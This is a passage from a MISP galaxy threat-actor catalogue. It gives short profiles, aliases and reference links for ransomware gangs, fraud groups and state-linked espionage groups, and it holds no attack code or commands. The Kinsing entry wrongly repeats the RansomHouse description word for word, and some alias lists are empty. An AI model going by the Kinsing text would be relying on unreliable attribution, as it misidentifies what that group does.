The tag is: *misp-galaxy:threat-actor="GOLD GARDEN"*

Table 18419. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-garden

GOLD MANSARD

GOLD MANSARD is a financially motivated cybercriminal threat group that operated the Nemty ransomware from August 2019. The threat actor behind Nemty is known on Russian underground forums as 'jsworm'. Nemty was operated as a ransomware as a service (RaaS) affiliate program and featured a 'name and shame' website where exfiltrated victim data was leaked. In April 2020, jsworm appeared to acquire new partners and retired the Nemty ransomware. This was followed by the introduction of Nefilim ransomware, which does not operate as an affiliate model. Nefilim has been used in post-intrusion ransomware attacks against organizations in logistics, telecommunications, energy and other sectors.

The tag is: *misp-galaxy:threat-actor="GOLD MANSARD"*

Table 18420. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-mansard

GOLD NORTHFIELD

Operational since at least October 2020, GOLD NORTHFIELD is a financially motivated cybercriminal threat group that leverages GOLD SOUTHFIELD’s REvil ransomware in their attacks. To do this, the threat actors replace the configuration of the REvil ransomware binary with their own in an effort to repurpose the ransomware for their operations. GOLD NORTHFIELD has given this modified REvil ransomware variant the name 'LV ransomware'.

The tag is: *misp-galaxy:threat-actor="GOLD NORTHFIELD"*

Table 18421. Table References

Links

http://www.secureworks.com/research/threat-profiles/gold-northfield
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-13th-2020-extortion-gone-wild/

GOLD RIVERVIEW

GOLD RIVERVIEW was a financially motivated cybercriminal group that facilitated the distribution of malware- and scam-laden spam email on behalf of its customers. This threat group authored and sold the Necurs rootkit beginning in early 2014, including to GOLD EVERGREEN who integrated it into Gameover Zeus. GOLD RIVERVIEW also operated a global botnet that was colloquially known as Necurs (CraP2P) and was a major source of spam email from 2016 through 2018. Necurs distributed malware such as GOLD DRAKE's Dridex (Bugat v5), GOLD BLACKBURN's TrickBot, and other families like Locky and FlawedAmmy. Necurs also distributed a large volume of email pushing securities 'pump and dump' scams, rogue pharmacies, and fraudulent dating sites. On March 4, 2019 all three active segments of the Necurs botnet ceased operation and have not since resumed. On March 10, 2020 Microsoft took civil action against GOLD RIVERVIEW and made technical steps that would complicate the threat actors' ability to reconstitute the botnet.

The tag is: *misp-galaxy:threat-actor="GOLD RIVERVIEW"*

Table 18422. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-riverview

GOLD SKYLINE

GOLD SKYLINE is a financially motivated cybercriminal threat group operating from Nigeria engaged in high-value wire fraud facilitated by business email compromise (BEC) and spoofing (BES). Also known as Wire-Wire Group 1 (WWG1), GOLD SKYLINE has been active since at least 2016 and relies heavily on compromised email accounts, social engineering, and increasingly malware to divert inter-organization funds transfers.

The tag is: *misp-galaxy:threat-actor="GOLD SKYLINE"*

Table 18423. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-skyline

GOLD SOUTHFIELD

GOLD SOUTHFIELD is a financially motivated cybercriminal threat group that authors and operates the REvil (aka Sodinokibi) ransomware on behalf of various affiliated threat groups. Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. GOLD SOUTHFIELD is responsible for authoring REvil and operating the backend infrastructure

used by affiliates (also called partners) to create malware builds and to collect ransom payments from victims. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates.

The tag is: *misp-galaxy:threat-actor="GOLD SOUTHFIELD"*

Table 18424. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-southfield
https://www.secureworks.com/research/revil-sodinokibi-ransomware
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
https://www.secureworks.com/blog/revil-the-gandcrab-connection

GOLD SYMPHONY

GOLD SYMPHONY is a financially motivated cybercrime group, likely based in Russia, that is responsible for the development and sale on underground forums of the Buer Loader malware. First discovered around August 2019, Buer Loader is offered as a malware-as-a-service (MasS) and has been advertised by a threat actor using the handle 'memeos'. Customers include GOLD BLACKBURN, the operators of the TrickBot malware. In addition to TrickBot, Buer Loader has been reported to download Cobalt Strike and other tools for use in post-intrusion ransomware attacks.

The tag is: *misp-galaxy:threat-actor="GOLD SYMPHONY"*

Table 18425. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-symphony

GOLD WATERFALL

GOLD WATERFALL is a group of financially motivated cybercriminals responsible for the creation, distribution, and operation of the Darkside ransomware. Active since August 2020, GOLD WATERFALL uses a variety of tactics, techniques, and procedures (TTPs) to infiltrate and move laterally within targeted organizations to deploy Darkside ransomware to its most valuable resources. Among these TTPs are using malicious documents delivered by email to establish a foothold and using stolen credentials to access victims' remote access services. In November 2020, the 'darksupp' persona was observed advertising an affiliate program on several semi-exclusive underground forums, marking GOLD WATERFALL’s entry into the ransomware-as-a-service (RaaS) landscape.

The tag is: *misp-galaxy:threat-actor="GOLD WATERFALL"*

Table 18426. Table References

Links

https://www.secureworks.com/research/threat-profiles/gold-waterfall
https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access

GOLD WINTER

GOLD WINTER are a financially motivated group, likely based in Russia, who operate the Hades ransomware. Hades activity was first identified in December 2020 and its lack of presence on underground forums and marketplaces leads CTU researchers to conclude that it is not operated under a ransomware as a service affiliate model. GOLD WINTER do employ name-and-shame tactics, where data is stolen and used as additional leverage over victims, but rather than a single centralized leak site CTU researchers have observed the group using Tor sites customized for each victim that include a Tox chat ID for communication, which also appears to be unique for each victim.

The tag is: *misp-galaxy:threat-actor="GOLD WINTER"*

Table 18427. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-winter

BackdoorDiplomacy

An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017.

The tag is: *misp-galaxy:threat-actor="BackdoorDiplomacy"*

BackdoorDiplomacy is also known as:

- BackDip
- CloudComputating
- Quarian

Table 18428. Table References

Links
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

Gelsemium

The Gelsemium group has been active since at least 2014 and was described in the past by a few security companies. Gelsemium's name comes from one possible translation ESET found while reading a report from VenusTech who dubbed the group □□□ for the first time. It's the name of a genus of flowering plants belonging to the family Gelsemiaceae, Gelsemium elegans is the species

that contains toxic compounds like Gelsemine, Gelsenicine and Gelsevirine, which ESET choses as names for the three components of this malware family.

The tag is: *misp-galaxy:threat-actor="Gelsemium"*

Gelsemium is also known as:

- □□□

Table 18429. Table References

Links
https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/
https://www.venustech.com.cn/uploads/2018/08/231401512426.pdf
https://hitcon.org/2016/pacific/0composition/pdf/1202/1202%20R0%200930%20an%20intelligance-driven%20approach%20to%20cyber%20defense.pdf
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

BelialDemon

Mentioned as operator of TriumphLoader and Matanbuchus

The tag is: *misp-galaxy:threat-actor="BelialDemon"*

BelialDemon is also known as:

- Matanbuchus

Table 18430. Table References

Links
https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/

Common Raven

Threat actor Common Raven has been actively targeting financial sector institutions, compromising their SWIFT payment infrastructure to send out fraudulent payments.

The tag is: *misp-galaxy:threat-actor="Common Raven"*

Common Raven is also known as:

- OPERA1ER
- NXSMS
- DESKTOP-GROUP

Table 18431. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs
https://www2.swift.com/isac/report/10118
https://blog.group-ib.com/opera1er-apt

FIN13

Since 2017, Mandiant has been tracking FIN13, an industrious and versatile financially motivated threat actor conducting long-term intrusions in Mexico with an activity timeframe stretching back as early as 2016. Although their operations continue through the present day, in many ways FIN13's intrusions are like a time capsule of traditional financial cybercrime from days past. Instead of today's prevalent smash-and-grab ransomware groups, FIN13 takes their time to gather information to perform fraudulent money transfers. Rather than relying heavily on attack frameworks such as Cobalt Strike, the majority of FIN13 intrusions involve heavy use of custom passive backdoors and tools to lurk in environments for the long haul.

The tag is: *misp-galaxy:threat-actor="FIN13"*

FIN13 is also known as:

- TG2003
- Elephant Beetle

Table 18432. Table References

Links
https://www.mandiant.com/resources/fin13-cybercriminal-mexico
https://blog.sygnia.co/elephant-beetle-an-organized-financial-theft-operation
https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf
https://www.netwitness.com/wp-content/uploads/FIN13-Elephant-Beetle-NetWitness.pdf

SideCopy

The SideCopy APT is a Pakistani threat actor that has been operating since at least 2019, mainly targeting South Asian countries and more specifically India and Afghanistan. Its name comes from its infection chain that tries to mimic that of the SideWinder APT. It has been reported that this actor has similarities with Transparent Tribe (APT36) and possibly is a subdivision of this actor. Cisco Talos and Seqrite have provided comprehensive reports on this actor's activities.

The tag is: *misp-galaxy:threat-actor="SideCopy"*

Table 18433. Table References

Links
https://www.seqrite.com/blog/operation-sidecopy/

https://blog.malwarebytes.com/threat-intelligence/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure/
https://www.telsy.com/sidecopy-apt-from-windows-to-nix/
https://blog.talosintelligence.com/2021/07/sidecopy.html
https://about.fb.com/news/2021/11/taking-action-against-hackers-in-pakistan-and-syria/
https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d

Antlion

Antlion is a Chinese state-backed advanced persistent threat (APT) group, who has been targeting financial institutions in Taiwan. This persistent campaign has lasted over the course of at least 18 months.

The tag is: *misp-galaxy:threat-actor="Antlion"*

Table 18434. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks

TA2541

Persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years. This threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. This threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017.

The tag is: *misp-galaxy:threat-actor="TA2541"*

Table 18435. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight

TA516

This actor typically distributes instances of the SmokeLoader intermediate downloader, which, in turn, downloads additional malware of the actor's choice — often banking Trojans. Figure 3 shows a lure document from a November campaign in which TA516 distributed fake resumes with malicious macros that, if enabled, launch a PowerShell script that downloads SmokeLoader. In this instance, we observed SmokeLoader downloading a Monero coinminer. Since the middle of 2017, TA516 has used similar macro-laden documents as well as malicious JavaScript hosted on Google Drive to distribute both Panda Banker and a coinminer executable via SmokeLoader, often in the same campaigns.

The tag is: *misp-galaxy:threat-actor="TA516"*

Table 18436. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA547

TA547 is responsible for many other campaigns since at least November 2017. The other campaigns by the actor were often localized to countries such as Australia, Germany, the United Kingdom, and Italy. Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.

The tag is: *misp-galaxy:threat-actor="TA547"*

Table 18437. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA554

Since May 2018, Proofpoint researchers have observed email campaigns using a new downloader called sLoad. sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries. While initial versions of sLoad appeared in May 2018, we began tracking the campaigns from this actor (internally named TA554) since at least the beginning of 2017.

The tag is: *misp-galaxy:threat-actor="TA554"*

TA554 is also known as:

- TH-163

Table 18438. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA555

Beginning in May 2018, Proofpoint researchers observed a previously undocumented downloader dubbed AdvisorsBot appearing in malicious email campaigns. The campaigns appear to primarily target hotels, restaurants, and telecommunications, and are distributed by an actor we track as

TA555. To date, we have observed AdvisorsBot used as a first-stage payload, loading a fingerprinting module that, as with Marap, is presumably used to identify targets of interest to further infect with additional modules or payloads. AdvisorsBot is under active development and we have also observed another version of the malware completely rewritten in PowerShell and .NET.

The tag is: *misp-galaxy:threat-actor="TA555"*

Table 18439. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA800

This attacker is an affiliate distributor of the The Trick, also known as Trickbot, and BazaLoader. (For more on how affiliates work, see the description of TA573). TA800 has targeted a wide range of industries in North America, infecting victims with banking Trojans and malware loaders (malware designed to download other malware onto a compromised device). Malicious emails have often included recipients' names, titles and employers along with phishing pages designed to look like the targeted company. Lures have included hard-to-resist subjects such as related to payment, meetings, termination, bonuses and complaints in the subject line or body of the email.

The tag is: *misp-galaxy:threat-actor="TA800"*

Table 18440. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes

MosesStaff

Cybereason Nocturnus describes Moses Staff as an Iranian hacker group, first spotted in October 2021. Their motivation appears to be to harm Israeli companies by leaking sensitive, stolen data.

The tag is: *misp-galaxy:threat-actor="MosesStaff"*

MosesStaff is also known as:

- Moses Staff
- Marigold Sandstorm
- DEV-0500
- VENGEFUL KITTEN

View relationships graph

MosesStaff has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Marigold Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18441. Table References

Links
https://twitter.com/campuscodi/status/1450455259202166799
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/
https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations
https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard

Avivore

The group's existence came to light during Context's investigation of a number of attacks against multinational enterprises that compromise smaller engineering services and consultancies working in their supply chains.

The tag is: *misp-galaxy:threat-actor="Avivore"*

Table 18442. Table References

Links
https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers
https://www.contextis.com/en/news/context-identifies-new-avivore-threat-group
https://web.archive.org/web/20191208223958/https://www.contextis.com/en/blog/avivore

HAZY TIGER

The Bitter threat group initially started using RAT tools in their campaigns, as the first Bitter versions, for Android released in 2014 were based on the AndroRAT framework. Over time, they switched to a custom version that has been known as BitterRAT ever since.

The tag is: *misp-galaxy:threat-actor="HAZY TIGER"*

HAZY TIGER is also known as:

- Bitter
- T-APT-17
- APT-C-08
- Orange Yali
- TA397

Table 18443. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://www.proofpoint.com/us/blog/threat-insight/hidden-plain-sight-ta397s-new-attack-chain-delivers-espionage-rats

LAPSUS

An actor group conducting large-scale social engineering and extortion campaign against multiple organizations with some seeing evidence of destructive elements.

The tag is: *misp-galaxy:threat-actor="LAPSUS"*

LAPSUS is also known as:

- LAPSUS$
- DEV-0537
- SLIPPY SPIDER
- Strawberry Tempest
- UNC3661
- Lapsus

View relationships graph

LAPSUS has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Strawberry Tempest" with estimative-language:likelihood-probability="likely"

Table 18444. Table References

Links
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
https://blog.checkpoint.com/2022/03/07/lapsus-ransomware-gang-uses-stolen-source-code-to-disguise-malware-files-as-trustworthy-check-point-customers-remain-protected/
https://www.crowdstrike.com/adversaries/slippy-spider/

Scarab

Scarab APT was first spotted in 2015, but is believed to have been active since at least 2012, conducting surgical attacks against a small number of individuals across the world, including Russia and the United States. The backdoor deployed by Scarab in their campaigns is most commonly known as Scieron.

The tag is: *misp-galaxy:threat-actor="Scarab"*

Table 18445. Table References

Links
https://web.archive.org/web/20150124025612/http://www.symantec.com:80/connect/blogs/scarab-attackers-took-aim-select-russian-targets-2012
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine

BladeHawk

The tag is: *misp-galaxy:threat-actor="BladeHawk"*

BladeHawk is also known as:

Table 18446. Table References

Links
https://www.welivesecurity.com/2021/09/07/bladehawk-android-espionage-kurdish/
https://telegra.ph/Discover-Malware-Android-03-26
https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/

Copy-Paste

The title ‘Copy-paste compromises’ is derived from the actor’s heavy use of tools copied almost identically from open source given by The Australian Government.

The tag is: *misp-galaxy:threat-actor="Copy-Paste"*

Copy-Paste is also known as:

Table 18447. Table References

Links
https://www.cyber.gov.au/acsc/view-all-content/alerts/copy-paste-compromises
https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-008-copy-paste-compromises-tactics-techniques-and-procedures-used-target-multiple-australian-networks

Killnet

A group targeting various countries using Denial of Services attacked.

The tag is: *misp-galaxy:threat-actor="Killnet"*

Killnet is also known as:

Table 18448. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://therecord.media/russia-or-ukraine-hacking-groups-take-sides/?msclkid=235244a7ba6611ec92f21c9bd3b8ee49
https://www.expats.cz/czech-news/article/pro-russian-hackers-target-czech-websites-in-a-series-of-attacks

SaintBear

A group targeting UA state organizations using the GraphSteel and GrimPlant malware.

The tag is: *misp-galaxy:threat-actor="SaintBear"*

SaintBear is also known as:

- UNC2589
- TA471
- UAC-0056
- Nascent Ursa
- Nodaria
- FROZENVISTA
- Storm-0587
- DEV-0587
- Saint Bear
- Lorec53
- EMBER BEAR
- Lorec Bear
- Bleeding Bear
- Cadet Blizzard

Table 18449. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel
https://cert.gov.ua/article/38374
https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/
https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/
https://unit42.paloaltonetworks.com/atoms/nascentursa/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer
https://blog.google/threat-analysis-group/fog-of-war-how-the-ukraine-conflict-transformed-the-cyber-threat-landscape/
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/
https://circleid.com/posts/20230412-probing-lorec53-phishing-through-the-dns-microscope
https://nsfocusglobal.com/wp-content/uploads/2021/11/Analysis-Report-on-Lorec53-Group.pdf
https://www.crowdstrike.com/en-us/blog/who-is-ember-bear/
https://attack.mitre.org/groups/G1003/

UNC3524

Mandiant observed this group operating since December 2019. Its techniques partially overlap with multiple Russian-based espionage actors (APT28 and APT29). They are described as having a high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet at their disposal.

The tag is: *misp-galaxy:threat-actor="UNC3524"*

Table 18450. Table References

Links
https://www.mandiant.com/resources/unc3524-eye-spy-email

Curious Gorge

Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia. The actor has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia. In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs. Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.

The tag is: *misp-galaxy:threat-actor="Curious Gorge"*

Curious Gorge is also known as:

- UNC3742

Table 18451. Table References

Links
https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe
https://blog.google/threat-analysis-group/update-on-cyber-activity-in-eastern-europe/
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf

Red Menshen

Since 2021, Red Menshen, a China based threat actor, which has been observed targeting telecommunications providers across the Middle East and Asia, as well as entities in the government, education, and logistics sectors using a custom backdoor referred as BPFDoor. This threat actor uses a variety of tools in its post-exploitation phase. This includes custom variants of the shared tool Mangzamel (including Golang variants), custom variants of Gh0st, and open source tools like Mimikatz and Metasploit to aid in its lateral movement across Windows systems. Also, They have been seen sending commands to BPFDoor victims via Virtual Privat Servers (VPSs) hosted at a well-known provider, and that these VPSs, in turn, are administered via compromised routers based in Taiwan, which the threat actor uses as VPN tunnels. Most Red Menshen activity that has been observed took place between Monday to Friday (with none observed on the weekends), with most communication taking place between 01:00 and 10:00 UTC.131 This pattern suggests a consistent 8 to 9-hour activity window for the threat actor, with realistic probability of it aligning to local working hours.

The tag is: *misp-galaxy:threat-actor="Red Menshen"*

Red Menshen is also known as:

- Red Dev 18
- Earth Bluecrow

Table 18452. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://troopers.de/troopers22/talks/7cv8pz
https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controller.html

Cosmic Lynx

Cosmic Lynx is a Russia-based BEC cybercriminal organization that has significantly impacted the email threat landscape with sophisticated, high-dollar phishing attacks.

The tag is: *misp-galaxy:threat-actor="Cosmic Lynx"*

Table 18453. Table References

Links
https://www.agari.com/cyber-intelligence-research/whitepapers/acid-agari-cosmic-lynx.pdf

ModifiedElephant

Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing.

The tag is: *misp-galaxy:threat-actor="ModifiedElephant"*

Table 18454. Table References

Links
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/

EXOTIC LILY

EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. In early September 2021, the group has been obeserved exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigation lead researchers to believe that they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike). This threat actor deploys tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, namely BUMBLEEBEE and BAZARLOADER, further evading detection mechanisms. This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.

The tag is: *misp-galaxy:threat-actor="EXOTIC LILY"*

EXOTIC LILY is also known as:

- DEV-0413

Table 18455. Table References

Links
https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti

TA578

TA578, a threat actor that Proofpoint researchers have been tracking since May of 2020. TA578 has previously been observed in email-based campaigns delivering Ursnif, IcedID, KPOT Stealer, Buer Loader, BazaLoader, and Cobalt Strike.

The tag is: *misp-galaxy:threat-actor="TA578"*

Table 18456. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

TA579

TA579, a threat actor that Proofpoint researchers have been tracking since August 2021. This actor frequently delivered BazaLoader and IcedID in past campaigns.

The tag is: *misp-galaxy:threat-actor="TA579"*

Table 18457. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

RansomHouse

This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.

The tag is: *misp-galaxy:threat-actor="RansomHouse"*

Table 18458. Table References

Links
https://webz.io/dwp/new-ransomware-group-ransomhouse-is-it-real-or-fake/

ToddyCat

ToddyCat is responsible for multiple sets of attacks detected since December 2020 against high-profile entities in Europe and Asia. There is still little information about this actor, but its main distinctive signs are two formerly unknown tools that Kaspersky call ‘Samurai backdoor’ and ‘Ninja Trojan’.

The tag is: *misp-galaxy:threat-actor="ToddyCat"*

ToddyCat is also known as:

- Websiic

Table 18459. Table References

Links
https://www.bleepingcomputer.com/news/security/new-toddycat-apt-group-targets-exchange-servers-in-asia-europe/
https://securelist.com/toddycat/106799/
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html
https://community.riskiq.com/article/d8b749f2
https://teamt5.org/en/posts/assassinations-of-minininja-in-various-apac-countries/

POLONIUM

Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.

The tag is: *misp-galaxy:threat-actor="POLONIUM"*

POLONIUM is also known as:

- Plaid Rain
- UNC4453
- GREATRIFT
- INCENDIARY JACKAL

View relationships graph

POLONIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Plaid Rain" with estimative-language:likelihood-probability="likely"

Table 18460. Table References

Links
https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/
https://www.deepinstinct.com/blog/polonium-apt-group-uncovering-new-elements
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

Predatory Sparrow

A self-proclaimed hacktivist group that carried out attacks against Iranian railway systems and against Iranian steel plants.

The tag is: *misp-galaxy:threat-actor="Predatory Sparrow"*

Predatory Sparrow is also known as:

- Indra
- Gonjeshke Darande

Table 18461. Table References

Links
https://www.bbc.com/news/technology-62072480
https://twitter.com/*cpresearch*/status/1541753913732366338
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/

DEV-0586

MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware (WhisperGate), which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom.

The tag is: *misp-galaxy:threat-actor="DEV-0586"*

DEV-0586 is also known as:

- Ruinous Ursa
- Cadet Blizzard

View relationships graph

DEV-0586 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Cadet Blizzard" with estimative-language:likelihood-probability="likely"

Table 18462. Table References

Links
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://unit42.paloaltonetworks.com/atoms/ruinousursa/
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/
https://www.microsoft.com/en-us/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Kinsing

This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.

The tag is: *misp-galaxy:threat-actor="Kinsing"*

Kinsing is also known as:

- Money Libra

Table 18463. Table References

Links
https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/
https://unit42.paloaltonetworks.com/atoms/moneylibra/

Earth Berberoka

According to TrendMicro, Earth Berberoka is a threat group originating from China that mainly focuses on targeting gambling websites. This group's campaign uses multiple malware families that target the Windows, Linux, and macOS platforms that have been attributed to Chinese-speaking actors. Aside from using tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, Earth Berberoka has also developed a brand-new complex, multistage malware family, which has been dubbed PuppetLoader.

The tag is: *misp-galaxy:threat-actor="Earth Berberoka"*

Earth Berberoka is also known as:

- GamblingPuppet

Table 18464. Table References

Links
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt
https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt
https://documents.trendmicro.com/assets/txt/earth-berberoka-domains-2.txt
https://www.youtube.com/watch?v=QXGO4RJaUPQ
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://securelist.com/diceyf-deploys-gameplayerframework-in-online-casino-development-studio/107723/
https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html

Earth Lusca

Earth Lusca is a threat actor from China that targets organizations of interest to the Chinese government, including academic institutions, telecommunication companies, religious organizations, and other civil society groups. Earth Lusca's tools closely resemble those used by Winnti Umbrella, but the group appears to operate separately from Winnti. Earth Lusca has also been observed targeting cryptocurrency payment platforms and cryptocurrency exchanges in what are likely financially motivated attacks.

The tag is: *misp-galaxy:threat-actor="Earth Lusca"*

Earth Lusca is also known as:

